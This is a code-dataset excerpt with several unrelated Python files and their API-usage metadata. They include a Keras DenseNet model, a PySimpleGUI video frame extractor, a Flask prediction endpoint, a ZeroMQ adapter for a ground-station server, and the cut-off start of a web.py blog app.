"line_number": 26, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 31, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 32, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 36, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 38, "usage_type": "name"}, {"api_name": "uuid.uuid4", "line_number": 51, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 52, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}]} {"seq_id": "75048275740", "text": "from keras.models import Model\nfrom keras.layers import Input, merge, ZeroPadding2D\nfrom keras.layers.core import Dense, Dropout, Activation\nfrom keras.layers.convolutional import Convolution2D\nfrom keras.layers.pooling import AveragePooling2D, GlobalAveragePooling2D, MaxPooling2D\nfrom keras.layers.normalization import BatchNormalization\nimport keras.backend as K\n\nfrom keras.engine import Layer, InputSpec\n\ntry:\n from keras import initializations\nexcept ImportError:\n from keras import initializers as initializations\nimport keras.backend as K\n\ndef conv_block(x, stage, branch, nb_filter, dropout_rate=None, weight_decay=1e-4):\n '''Apply BatchNorm, Relu, bottleneck 1x1 Conv2D, 3x3 Conv2D, and option dropout\n # Arguments\n x: input tensor\n stage: index for dense block\n branch: layer index within each dense block\n nb_filter: number of filters\n dropout_rate: dropout rate\n weight_decay: weight decay factor\n '''\n eps = 1.1e-5\n conv_name_base = 'conv' + str(stage) + '_' + str(branch)\n relu_name_base = 'relu' + str(stage) + '_' + str(branch)\n\n # 1x1 Convolution (Bottleneck layer)\n inter_channel = nb_filter * 4\n x = BatchNormalization(epsilon=eps, axis=concat_axis, name=conv_name_base+'_x1_bn')(x)\n x = Scale(axis=concat_axis, name=conv_name_base+'_x1_scale')(x)\n x = Activation('relu', name=relu_name_base+'_x1')(x)\n x = Convolution2D(inter_channel, 1, 1, name=conv_name_base+'_x1', bias=False)(x)\n\n if dropout_rate:\n x = Dropout(dropout_rate)(x)\n\n # 3x3 Convolution\n x = BatchNormalization(epsilon=eps, axis=concat_axis, name=conv_name_base+'_x2_bn')(x)\n x = Scale(axis=concat_axis, name=conv_name_base+'_x2_scale')(x)\n x = Activation('relu', name=relu_name_base+'_x2')(x)\n x = ZeroPadding2D((1, 1), name=conv_name_base+'_x2_zeropadding')(x)\n x = Convolution2D(nb_filter, 3, 3, name=conv_name_base+'_x2', bias=False)(x)\n\n if dropout_rate:\n x = Dropout(dropout_rate)(x)\n\n return x\n\n\ndef transition_block(x, stage, nb_filter, compression=1.0, dropout_rate=None, weight_decay=1E-4):\n ''' Apply BatchNorm, 1x1 Convolution, averagePooling, optional compression, dropout\n # Arguments\n x: input tensor\n stage: index for dense block\n nb_filter: number of filters\n compression: calculated as 1 - reduction. Reduces the number of feature maps in the transition block.\n dropout_rate: dropout rate\n weight_decay: weight decay factor\n '''\n\n eps = 1.1e-5\n conv_name_base = 'conv' + str(stage) + '_blk'\n relu_name_base = 'relu' + str(stage) + '_blk'\n pool_name_base = 'pool' + str(stage)\n\n x = BatchNormalization(epsilon=eps, axis=concat_axis, name=conv_name_base+'_bn')(x)\n x = Scale(axis=concat_axis, name=conv_name_base+'_scale')(x)\n x = Activation('relu', name=relu_name_base)(x)\n x = Convolution2D(int(nb_filter * compression), 1, 1, name=conv_name_base, bias=False)(x)\n\n if dropout_rate:\n x = Dropout(dropout_rate)(x)\n\n x = AveragePooling2D((2, 2), strides=(2, 2), name=pool_name_base)(x)\n\n return x\n\n\ndef dense_block(x, stage, nb_layers, nb_filter, growth_rate, dropout_rate=None, weight_decay=1e-4, grow_nb_filters=True):\n ''' Build a dense_block where the output of each conv_block is fed to subsequent ones\n # Arguments\n x: input tensor\n stage: index for dense block\n nb_layers: the number of layers of conv_block to append to the model.\n nb_filter: number of filters\n growth_rate: growth rate\n dropout_rate: dropout rate\n weight_decay: weight decay factor\n grow_nb_filters: flag to decide to allow number of filters to grow\n '''\n\n eps = 1.1e-5\n concat_feat = x\n\n for i in range(nb_layers):\n branch = i+1\n x = conv_block(concat_feat, stage, branch, growth_rate, dropout_rate, weight_decay)\n concat_feat = merge([concat_feat, x], mode='concat', concat_axis=concat_axis, name='concat_'+str(stage)+'_'+str(branch))\n\n if grow_nb_filters:\n nb_filter += growth_rate\n\n return concat_feat, nb_filter\n\n\nclass Scale(Layer):\n def __init__(self, weights=None, axis=-1, momentum=0.9, beta_init='zero', gamma_init='one', **kwargs):\n self.momentum = momentum\n self.axis = axis\n self.beta_init = initializations.get(beta_init)\n self.gamma_init = initializations.get(gamma_init)\n self.initial_weights = weights\n super(Scale, self).__init__(**kwargs)\n\n def build(self, input_shape):\n self.input_spec = [InputSpec(shape=input_shape)]\n shape = (int(input_shape[self.axis]),)\n\n # Tensorflow >= 1.0.0 compatibility\n self.gamma = K.variable(self.gamma_init(shape), name='{}_gamma'.format(self.name))\n self.beta = K.variable(self.beta_init(shape), name='{}_beta'.format(self.name))\n # self.gamma = self.gamma_init(shape, name='{}_gamma'.format(self.name))\n # self.beta = self.beta_init(shape, name='{}_beta'.format(self.name))\n self.trainable_weights = [self.gamma, self.beta]\n\n if self.initial_weights is not None:\n self.set_weights(self.initial_weights)\n del self.initial_weights\n\n def call(self, x, mask=None):\n input_shape = self.input_spec[0].shape\n broadcast_shape = [1] * len(input_shape)\n broadcast_shape[self.axis] = input_shape[self.axis]\n\n out = K.reshape(self.gamma, broadcast_shape) * x + K.reshape(self.beta, broadcast_shape)\n return out\n\n def get_config(self):\n config = {\"momentum\": self.momentum, \"axis\": self.axis}\n base_config = super(Scale, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\ndef Feature_extractor(input):\n nb_filter = 64\n nb_layers = [6, 12, 24, 16] # For DenseNet-121\n nb_dense_block = 4\n growth_rate = 32\n nb_filter = 64\n reduction = 0.0\n dropout_rate = 0.0\n weight_decay = 1e-4\n classes = 1000\n weights_path = None\n eps = 1.1e-5\n compression = 1.0 - reduction\n global concat_axis\n if K.image_dim_ordering() == 'tf':\n concat_axis = 3\n img_input = Input(shape=(224, 224, 3), name='data')\n\n else:\n concat_axis = 1\n img_input = Input(shape=(3, 224, 224), name='data')\n # Initial convolution\n x = ZeroPadding2D((3, 3), name='conv1_zeropadding')(input)\n x = Convolution2D(nb_filter, 7, 7, subsample=(2, 2), name='conv1', bias=False)(x)\n x = BatchNormalization(epsilon=eps, axis=concat_axis, name='conv1_bn')(x)\n x = Scale(axis=concat_axis, name='conv1_scale')(x)\n x = Activation('relu', name='relu1')(x)\n x = ZeroPadding2D((1, 1), name='pool1_zeropadding')(x)\n x = MaxPooling2D((3, 3), strides=(2, 2), name='pool1')(x)\n\n # Add dense blocks\n for block_idx in range(nb_dense_block - 1):\n stage = block_idx + 2\n x, nb_filter = dense_block(x, stage, nb_layers[block_idx], nb_filter, growth_rate, dropout_rate=dropout_rate,\n weight_decay=weight_decay)\n\n # Add transition_block\n x = transition_block(x, stage, nb_filter, compression=compression, dropout_rate=dropout_rate,\n weight_decay=weight_decay)\n nb_filter = int(nb_filter * compression)\n\n final_stage = stage + 1\n x, nb_filter = dense_block(x, final_stage, nb_layers[-1], nb_filter, growth_rate, dropout_rate=dropout_rate,\n weight_decay=weight_decay)\n\n x = BatchNormalization(epsilon=eps, axis=concat_axis, name='conv' + str(final_stage) + '_blk_bn')(x)\n x = Scale(axis=concat_axis, name='conv' + str(final_stage) + '_blk_scale')(x)\n x = Activation('relu', name='relu' + str(final_stage) + '_blk')(x)\n x = GlobalAveragePooling2D(name='pool' + str(final_stage))(x)\n\n x = Dense(classes, name='fc6')(x)\n\n return x\n", "repo_name": "kimren227/Yelp_Photo_Classification_Challenge", "sub_path": "densenet/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 7972, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "69", "api": [{"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 33, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 35, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 36, "usage_type": "call"}, {"api_name": "keras.layers.core.Dropout", "line_number": 39, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 42, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 44, "usage_type": "call"}, {"api_name": "keras.layers.ZeroPadding2D", "line_number": 45, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 46, "usage_type": "call"}, {"api_name": "keras.layers.core.Dropout", "line_number": 49, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 70, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 73, "usage_type": "call"}, {"api_name": "keras.layers.core.Dropout", "line_number": 76, "usage_type": "call"}, {"api_name": "keras.layers.pooling.AveragePooling2D", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.layers.merge", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.engine.Layer", "line_number": 110, "usage_type": "name"}, {"api_name": "keras.initializers.get", "line_number": 114, "usage_type": "call"}, {"api_name": "keras.initializers", "line_number": 114, "usage_type": "name"}, {"api_name": "keras.initializers.get", "line_number": 115, "usage_type": "call"}, {"api_name": "keras.initializers", "line_number": 115, "usage_type": "name"}, {"api_name": "keras.engine.InputSpec", "line_number": 120, "usage_type": "call"}, {"api_name": "keras.backend.variable", "line_number": 124, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 124, "usage_type": "name"}, {"api_name": "keras.backend.variable", "line_number": 125, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 125, "usage_type": "name"}, {"api_name": "keras.backend.reshape", "line_number": 139, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 139, "usage_type": "name"}, {"api_name": "keras.backend.image_dim_ordering", "line_number": 162, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 162, "usage_type": "name"}, {"api_name": "keras.layers.Input", "line_number": 164, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 168, "usage_type": "call"}, {"api_name": "keras.layers.ZeroPadding2D", "line_number": 170, "usage_type": "call"}, {"api_name": "keras.layers.convolutional.Convolution2D", "line_number": 171, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 172, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 174, "usage_type": "call"}, {"api_name": "keras.layers.ZeroPadding2D", "line_number": 175, "usage_type": "call"}, {"api_name": "keras.layers.pooling.MaxPooling2D", "line_number": 176, "usage_type": "call"}, {"api_name": "keras.layers.normalization.BatchNormalization", "line_number": 193, "usage_type": "call"}, {"api_name": "keras.layers.core.Activation", "line_number": 195, "usage_type": "call"}, {"api_name": "keras.layers.pooling.GlobalAveragePooling2D", "line_number": 196, "usage_type": "call"}, {"api_name": "keras.layers.core.Dense", "line_number": 198, "usage_type": "call"}]} {"seq_id": "34770748129", "text": "import webbrowser\nimport cv2\nimport os\nimport PySimpleGUI as sg\nimport subprocess\nimport atexit\n\n\ndef make_frames(input_path, quality, output_folder):\n if input_path.lower().endswith(('.mp4', '.avi', '.mkv', '.mov')):\n is_video = True\n cap = cv2.VideoCapture(input_path)\n if not cap.isOpened():\n print('Error opening video file')\n return\n elif input_path.lower().endswith('.gif'):\n is_video = False\n gif_frames = cv2.VideoCapture(input_path)\n else:\n print('Unsupported file format.')\n return\n\n frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)) if is_video else 0\n\n frames_folder = os.path.join(output_folder, 'frames')\n if not os.path.exists(frames_folder):\n os.makedirs(frames_folder)\n\n sorted_folder = os.path.join(output_folder, 'sorted_frames')\n if not os.path.exists(sorted_folder):\n os.makedirs(sorted_folder)\n\n # Determine the frame interval based on quality\n if quality == 'low':\n frame_interval = 5\n elif quality == 'medium':\n frame_interval = 4\n elif quality == 'high':\n frame_interval = 3\n else:\n print('Invalid quality specified.')\n return\n\n # Extract and save frames\n for i in range(frame_count) if is_video else range(int(gif_frames.get(cv2.CAP_PROP_FRAME_COUNT))):\n if is_video:\n ret, frame = cap.read()\n else:\n ret, frame = gif_frames.read()\n\n if i % frame_interval == 0:\n frame_name = f\"{i}.jpg\"\n frame_path = os.path.join(frames_folder, frame_name)\n cv2.imwrite(frame_path, frame)\n\n # Sort the frames and save to the sorted folder\n frames = os.listdir(frames_folder)\n frames.sort(key=lambda x: int(x.split('.')[0]))\n for frame_name in frames:\n frame_path = os.path.join(frames_folder, frame_name)\n sorted_path = os.path.join(sorted_folder, frame_name)\n os.rename(frame_path, sorted_path)\n\n if is_video:\n print(f'{len(frames)} frames extracted and saved to {sorted_folder}')\n else:\n print(f'{len(frames)} frames extracted and saved to {sorted_folder} from the GIF')\n\n if is_video:\n cap.release()\n else:\n gif_frames.release()\n\n\ndef create_video_info_text(output_folder, frame_count, fps, duration):\n output_file = os.path.join(output_folder, 'output.txt')\n with open(output_file, 'w') as f:\n f.write(f\"Output folder: {output_folder}\\n\")\n f.write(f\"Total Frames: {frame_count}\\n\")\n f.write(f\"FPS: {fps}\\n\")\n f.write(f\"Duration: {duration} seconds\\n\")\n\n\nsg.theme('Dark Blue 3')\n\n# Define the layout of the UI\nlayout = [\n [sg.Text('Input Path:'), sg.Input(), sg.FileBrowse()],\n [sg.Text('Output Folder:'), sg.Input(), sg.FolderBrowse()],\n [sg.Text('Quality:')],\n [sg.Radio('Low (fast)', 'quality', default=True, key='low'),\n sg.Radio('Medium (normal)', 'quality', key='medium'),\n sg.Radio('High (slow)', 'quality', key='high')],\n [sg.Radio('GIF', 'input_type', default=True, key='gif'),\n sg.Radio('Video', 'input_type', key='video')],\n [sg.Button('Extract Frames'), sg.Button('Exit')]\n]\n\nwindow = sg.Window('Video Frame Extractor', layout)\n\n# to process UI events\nwhile True:\n event, values = window.read()\n if event == sg.WIN_CLOSED or event == 'Exit':\n break\n elif event == 'Extract Frames':\n input_path = values[0]\n output_folder = values[1]\n quality = ''\n if values['low']:\n quality = 'low'\n elif values['medium']:\n quality = 'medium'\n elif values['high']:\n quality = 'high'\n\n if values['gif']:\n make_frames(input_path, quality, output_folder)\n else:\n cap = cv2.VideoCapture(input_path)\n if not cap.isOpened():\n print('Error opening video file')\n continue\n frame_count = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n fps = cap.get(cv2.CAP_PROP_FPS)\n duration = frame_count / fps\n make_frames(input_path, quality, output_folder)\n create_video_info_text(output_folder, frame_count, fps, duration)\n\n# Close the window\nwindow.close()\n\nwebbrowser.open('http://127.0.0.1:7860/')\nfile_path = 'E:\\\\DAIN_APP Alpha 1.0\\\\DAINAPP.exe'\n\n\ndef open_exe():\n os.startfile(file_path)\n\n\natexit.register(open_exe)\n", "repo_name": "revolverocelot1/viddiff-test", "sub_path": "main2.py", "file_name": "main2.py", "file_ext": "py", "file_size_in_byte": 4413, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "cv2.VideoCapture", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.VideoCapture", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 30, "usage_type": "call"}, {"api_name": "os.path", "line_number": 30, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 54, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path", "line_number": 60, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "PySimpleGUI.theme", "line_number": 84, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 88, "usage_type": "call"}, {"api_name": "PySimpleGUI.Input", "line_number": 88, "usage_type": "call"}, {"api_name": "PySimpleGUI.FileBrowse", "line_number": 88, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 89, "usage_type": "call"}, {"api_name": "PySimpleGUI.Input", "line_number": 89, "usage_type": "call"}, {"api_name": "PySimpleGUI.FolderBrowse", "line_number": 89, "usage_type": "call"}, {"api_name": "PySimpleGUI.Text", "line_number": 90, "usage_type": "call"}, {"api_name": "PySimpleGUI.Radio", "line_number": 91, "usage_type": "call"}, {"api_name": "PySimpleGUI.Radio", "line_number": 92, "usage_type": "call"}, {"api_name": "PySimpleGUI.Radio", "line_number": 93, "usage_type": "call"}, {"api_name": "PySimpleGUI.Radio", "line_number": 94, "usage_type": "call"}, {"api_name": "PySimpleGUI.Radio", "line_number": 95, "usage_type": "call"}, {"api_name": "PySimpleGUI.Button", "line_number": 96, "usage_type": "call"}, {"api_name": "PySimpleGUI.Window", "line_number": 99, "usage_type": "call"}, {"api_name": "PySimpleGUI.WIN_CLOSED", "line_number": 104, "usage_type": "attribute"}, {"api_name": "cv2.VideoCapture", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.CAP_PROP_FRAME_COUNT", "line_number": 124, "usage_type": "attribute"}, {"api_name": "cv2.CAP_PROP_FPS", "line_number": 125, "usage_type": "attribute"}, {"api_name": "webbrowser.open", "line_number": 133, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 138, "usage_type": "call"}, {"api_name": "atexit.register", "line_number": 141, "usage_type": "call"}]} {"seq_id": "72877487271", "text": "from flask import Flask,request\nimport pandas as pd\nimport numpy as np\nimport pickle\n\n\"\"\"the first stzp when we use flak\"\"\"\n\napp = Flask(__name__)#instanciate the flask object \n\npickle_in=open(\"classifier.pkl\",\"rb\")#open the ML model\nclassifier=pickle.load(pickle_in)\n\n\n@app.route('/foobarbaby')#il s'agit d'un declarateur pour que tout ceci fonctionne sur flask\ndef welcome():\n return'welcome class'\n\n@app.route('/predict')\ndef predict():\n variance=request.args.get('variance\t')\n skewness=request.args.get('skewness')\n curtosis=request.args.get('curtosis')\n entropy=request.args.get('entropy')\n pred=classifier.predict([[variance,skewness,curtosis,entropy]])\n return'the value predicted is'+str(pred)\n \n \n@app.route('/predict_file',methods=[\"POST\"])#we use post method because we have a lot of data\ndef predict_file():\n test=pd.read_csv(request.files.get(\"file\"))\n pred=classifier.predict([[test]])\n return'the value predicted is'+str(list(pred))\n \n \n\nif __name__ == '__main__':\n app.run()\n \n \n \n \n \n \n \n \n \n ", "repo_name": "AlouDiakhi/flasgger", "sub_path": "temp.py", "file_name": "temp.py", "file_ext": "py", "file_size_in_byte": 1088, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 23, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.request.files.get", "line_number": 30, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 30, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 30, "usage_type": "name"}]} {"seq_id": "70710914146", "text": "import zmq\nfrom abc import ABCMeta, abstractmethod\nimport struct\n\nfrom logging import DEBUG, INFO, ERROR\nimport threading \nfrom multiprocessing import Process\n\nfrom zmq.eventloop.ioloop import IOLoop, PeriodicCallback \nfrom zmq.eventloop.zmqstream import ZMQStream\n\nfrom utils.logging_util import SetGlobalLoggingLevel, GetLogger\nfrom server.ServerUtils.server_config import ServerConfig\n\n# Global server config class\nSERVER_CONFIG = ServerConfig.getInstance()\n\nclass AdapterBase(object):\n \"\"\"\n General adapter class.\n @params protocol: Name of the protocol\n @params client_name: Name of the corosponding client.\n @params to_server_pub_port: What server port to publish packets to server.\n @params from_server_sub_port: What port to receive packets from server.\n @params to_client_pub_port: What port to publish packets to client.\n @params from_client_sub_port: What port to receive packets from client.\n \"\"\"\n __metaclass__ = ABCMeta\n def __init__(self, protocol, client_name, to_server_pub_port,\\\n from_server_sub_port,\\\n to_client_pub_port,\\\n from_client_sub_port):\n\n self.__client_name = client_name\n self.__name = \"{}_{}_adapter\".format(client_name, protocol)\n\n # Setup Logger\n log_path = SERVER_CONFIG.get(\"filepaths\", \"server_log_filepath\") \n self.__logger = GetLogger(self.__name,log_path, logLevel=DEBUG,\\\n fileLevel=DEBUG)\n self.__logger.debug(\"Logger Active\")\n self.__logger.debug(\"to_server_pub_port: {}\".format(to_server_pub_port))\n self.__logger.debug(\"from_server_sub_port: {}\".format(from_server_sub_port))\n self.__logger.debug(\"to_client_pub_port: {}\".format(to_client_pub_port))\n self.__logger.debug(\"from_client_sub_port: {}\".format(from_client_sub_port))\n\n # Adapter Information \n self.__protocol = protocol\n \n # Zmq Context\n self.__context = zmq.Context()\n\n # Book Keeping \n self.__client_connections = {} # Save connections by client ID \n\n # Create threads\n self.__from_client_decode_thread = threading.Thread(target=self.__FromClientDecodeThread,\\\n args=(self.__name,\\\n self.__context,\\\n from_client_sub_port,\\\n to_server_pub_port))\n \n\n self.__to_client_encode_thread = threading.Thread(target=self.__ToClientEncodeThread,\\\n args=(self.__name,\\\n self.__context,\\\n to_client_pub_port,\\\n from_server_sub_port))\n \n\n def Start(self):\n \"\"\"\n Startup the threads.\n \"\"\"\n\n self.__logger.info(\"Starting adapter\")\n self.__from_client_decode_thread.start()\n self.__to_client_encode_thread.start()\n\n def Quit(self):\n \"\"\"\n Quit the threads by terminating the context.\n \"\"\"\n self.__logger.info(\"Stopping adapter\")\n\n self.__context.term()\n\n def __FromClientDecodeThread(self, adapter_name, context, from_client_sub_port, to_server_pub_port):\n \"\"\"\n Receive encoded packets from the client and decode them.\n \"\"\"\n name = \"{}_decode_thread\".format(adapter_name)\n # Setup Logger\n log_path = SERVER_CONFIG.get(\"filepaths\", \"server_log_filepath\") \n logger = GetLogger(name,log_path, logLevel=DEBUG,\\\n fileLevel=DEBUG)\n logger.debug(\"Logger Active\")\n\n # Create the sockets\n from_client_sub_socket = context.socket(zmq.ROUTER) # Subscribe to packets from client\n from_client_sub_socket.bind(\"tcp://*:{}\".format(from_client_sub_port))\n\n to_server_pub_socket = context.socket(zmq.DEALER) # Publish packets to server\n to_server_pub_socket.setsockopt(zmq.IDENTITY, self.__client_name)\n to_server_pub_socket.connect(\"tcp://localhost:{}\".format(to_server_pub_port))\n\n\n try:\n while(True):\n\n # Receive encoded packet\n msg_bundle = from_client_sub_socket.recv_multipart() \n logger.debug(\"Received: {}\".format(msg_bundle))\n encoded_packet = msg_bundle[1] # Ignore ID\n # As our sub socket identity is\n # The same as the client\n\n packet = self.Decode(encoded_packet) # Call the implemented decode method\n to_server_pub_socket.send(packet)\n\n except zmq.ZMQError as e:\n if e.errno == zmq.ETERM:\n from_client_sub_socket.close()\n to_server_pub_socket.close()\n else:\n raise\n\n def __ToClientEncodeThread(self, adapter_name, context, to_client_pub_port, from_server_sub_port):\n \"\"\"\n Receive packets from the server and encode them.\n \"\"\"\n name = \"{}_encode_thread\".format(adapter_name)\n # Setup Logger\n log_path = SERVER_CONFIG.get(\"filepaths\", \"server_log_filepath\") \n logger = GetLogger(name,log_path, logLevel=DEBUG,\\\n fileLevel=DEBUG)\n logger.debug(\"Logger Active\")\n\n # Create sockets\n from_server_sub_socket = context.socket(zmq.ROUTER) # Subscribe to packets from the server\n from_server_sub_socket.setsockopt(zmq.IDENTITY, self.__client_name)\n from_server_sub_socket.connect(\"tcp://localhost:{}\".format(from_server_sub_port))\n\n to_client_pub_socket = context.socket(zmq.DEALER) # Publish packet to client\n to_client_pub_socket.bind(\"tcp://*:{}\".format(to_client_pub_port)) \n\n try:\n while(True):\n \n msg_bundle = from_server_sub_socket.recv_multipart()\n logger.debug(\"Received: {}\".format(msg_bundle))\n packet = msg_bundle[1] # The first frame contains the senders identifier. We don't need this.\n encoded_packet = self.Encode(packet) # Call the implemented encode function\n logger.debug(\"Sending: {}\".format([encoded_packet]))\n to_client_pub_socket.send(encoded_packet)\n \n except zmq.ZMQError as e:\n if e.errno == zmq.ETERM:\n to_client_pub_socket.close()\n to_server_sub_socket.close()\n else:\n raise\n \n @abstractmethod\n def Decode(self, encoded_packet):\n \"\"\"\n Abstact decode method.\n Returns a pure FPrime packet.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def Encode(self, packet):\n \"\"\"\n Abstract encode method.\n Returns an encoded FPrime packet.\n \"\"\"\n raise NotImplementedError\n \n\n", "repo_name": "JPLOpenSource/fprime-sw-Rel1.0", "sub_path": "Gse/src/server/AdapterLayer/adapter_base.py", "file_name": "adapter_base.py", "file_ext": "py", "file_size_in_byte": 7408, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "server.ServerUtils.server_config.ServerConfig.getInstance", "line_number": 16, "usage_type": "call"}, {"api_name": "server.ServerUtils.server_config.ServerConfig", "line_number": 16, "usage_type": "name"}, {"api_name": "abc.ABCMeta", "line_number": 28, "usage_type": "name"}, {"api_name": "utils.logging_util.GetLogger", "line_number": 39, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 39, "usage_type": "name"}, {"api_name": "logging.DEBUG", "line_number": 40, "usage_type": "name"}, {"api_name": "zmq.Context", "line_number": 51, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 57, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 64, "usage_type": "call"}, {"api_name": "utils.logging_util.GetLogger", "line_number": 95, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 95, "usage_type": "name"}, {"api_name": "logging.DEBUG", "line_number": 96, "usage_type": "name"}, {"api_name": "zmq.ROUTER", "line_number": 100, "usage_type": "attribute"}, {"api_name": "zmq.DEALER", "line_number": 103, "usage_type": "attribute"}, {"api_name": "zmq.IDENTITY", "line_number": 104, "usage_type": "attribute"}, {"api_name": "zmq.ZMQError", "line_number": 121, "usage_type": "attribute"}, {"api_name": "zmq.ETERM", "line_number": 122, "usage_type": "attribute"}, {"api_name": "utils.logging_util.GetLogger", "line_number": 135, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 135, "usage_type": "name"}, {"api_name": "logging.DEBUG", "line_number": 136, "usage_type": "name"}, {"api_name": "zmq.ROUTER", "line_number": 140, "usage_type": "attribute"}, {"api_name": "zmq.IDENTITY", "line_number": 141, "usage_type": "attribute"}, {"api_name": "zmq.DEALER", "line_number": 144, "usage_type": "attribute"}, {"api_name": "zmq.ZMQError", "line_number": 157, "usage_type": "attribute"}, {"api_name": "zmq.ETERM", "line_number": 158, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 164, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 172, "usage_type": "name"}]} {"seq_id": "71564850141", "text": "# -*- coding:utf-8 -*-\n\nimport os\nimport web\nimport math\nimport datetime\nimport time\nimport urllib\n\nfrom util import render_mako\nfrom util import StaticDirHandler\nfrom util import StaticFileHandler\n\ndef localtime(d):\n return d + datetime.timedelta(seconds=28800)\n\ndef gmttime(d):\n return d - datetime.timedelta(seconds=28800)\n\ncurdir = os.path.dirname(__file__)\n\n#Mako templates\nrender = render_mako(\n directories=[os.path.join(curdir, 'templates').replace('\\\\','/'),],\n input_encoding='utf-8',\n output_encoding='utf-8',)\n\n#connect to db\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, subqueryload, contains_eager\nengine = create_engine('sqlite:///%s/blog_beta.db'%curdir, convert_unicode=True,\n encoding='utf-8',\n echo=True,\n )\nSession = sessionmaker(bind=engine)\n\n#ORM domains\nfrom domains import *\nimport config\n\nimport markupsafe\ndef myhtml(text):\n tempText = markupsafe.escape(text)\n return ('%s' % tempText).replace('\\n','
